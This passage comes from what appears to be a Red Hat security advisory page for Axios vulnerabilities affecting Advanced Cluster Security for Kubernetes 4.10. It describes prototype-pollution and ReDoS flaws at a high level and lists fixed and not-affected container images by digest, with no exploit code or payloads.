| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios. This vulnerability, a Prototype Pollution "Gadget" attack, allows an attacker to escalate any existing Object.prototype pollution in an application's dependency tree into a full Man-in-the-Middle (MITM) attack. This enables the attacker to intercept, read, and modify all HTTP traffic, including sensitive authentication credentials. The flaw occurs because the `config.proxy` setting is susceptible to prototype pollution, allowing an attacker to inject a malicious proxy server.
8.7 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
43 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. This vulnerability involves prototype pollution gadgets in the request configuration processing. If another vulnerability has already polluted the Object.prototype.transformResponse, affected Axios versions may incorrectly interpret this inherited value as part of the request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
7.0 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
43 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios. A remote attacker, by influencing the XSRF cookie name in a browser environment, could cause the application to construct a regular expression that leads to excessive processing. This can result in a client-side Denial of Service (DoS), where the affected browser tab may freeze, impacting the availability of the application for the user.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
43 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
